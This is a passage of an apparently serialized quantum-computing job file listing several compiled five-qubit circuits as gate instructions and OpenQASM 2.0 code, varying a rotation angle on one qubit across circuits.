['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1221', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.70000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.8, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.8', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1223', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.80000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [1.9000000000000001, -1.5707963267948966, 1.5707963267948966], 'texparams': ['1.9', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1225', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(1.90000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.0', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [4], 'memory': [0]}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'measure', 'params': [], 'texparams': [], 'qubits': [1], 'memory': [1]}], 'header': {'n_qubits': 5, 'memory_slots': 2, 'qubit_labels': [['q', 0], ['q', 1], ['q', 2], ['q', 3], ['q', 4]], 'clbit_labels': [['c', 0], ['c', 1]], 'qreg_sizes': [['q', 5]], 'creg_sizes': [['c', 2]], 'name': 'circuit1227', 'compiled_circuit_qasm': 'OPENQASM 2.0;\ninclude "qelib1.inc";\nqreg q[5];\ncreg c[2];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(-3.14159265358979) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu1(pi/2) q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\ncx q[2],q[0];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[0];\nu2(0,pi) q[1];\ncx q[1],q[0];\nu2(0,pi) q[1];\nu2(0,pi) q[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu3(2.00000000000000,-pi/2,pi/2) q[3];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\ncx q[3],q[2];\nu2(0,pi) q[2];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[2];\nu3(pi/4,pi/2,3*pi/2) q[3];\ncx q[3],q[4];\nu3(-pi/4,pi/2,3*pi/2) q[3];\nu2(0,pi) q[4];\nu2(pi/4,pi) q[2];\ncx q[4],q[2];\nu1(pi/4) q[4];\nu1(-pi/4) q[2];\ncx q[4],q[2];\ncx q[3],q[2];\nbarrier q[0],q[1],q[2],q[3],q[4];\nu2(0,pi) q[4];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[4] -> c[0];\nbarrier q[0],q[1],q[2],q[3],q[4];\nmeasure q[1] -> c[1];\n'}, 'config': {'memory_slots': 2, 'n_qubits': 5}}, {'instructions': [{'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [-3.141592653589793], 'texparams': ['-3.14159265358979'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u1', 'params': [1.5707963267948966], 'texparams': ['\\frac{\\pi}{2}'], 'qubits': [2], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [2, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [1, 0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [0], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [1], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'u3', 'params': [2.1, -1.5707963267948966, 1.5707963267948966], 'texparams': ['2.1', '- \\frac{\\pi}{2}', '\\frac{\\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'barrier', 'params': [], 'texparams': [], 'qubits': [0, 1, 2, 3, 4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u3', 'params': [-0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['- \\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 2], 'memory': []}, {'name': 'u2', 'params': [0.7853981633974483, 3.141592653589793], 'texparams': ['\\frac{\\pi}{4}', '\\pi'], 'qubits': [2], 'memory': []}, {'name': 'u3', 'params': [0.7853981633974483, 1.5707963267948966, 4.71238898038469], 'texparams': ['\\frac{\\pi}{4}', '\\frac{\\pi}{2}', '\\frac{3 \\pi}{2}'], 'qubits': [3], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [3, 4], 'memory': []}, {'name': 'u2', 'params': [0, 3.141592653589793], 'texparams': ['0', '\\pi'], 'qubits': [4], 'memory': []}, {'name': 'cx', 'params': [], 'texparams': [], 'qubits': [4, 2], 'memory': []}, {'name': 'u1', 'params': [-0.7853981633974483], 'texparams': ['- \\frac{\\pi}{4}'], 'qubits': [2], 'memory': []}, {'name': 'u1', 'params': [0.7853981633974483], 'texparams': ['\\frac{\\pi}{4}'], 'qubits': 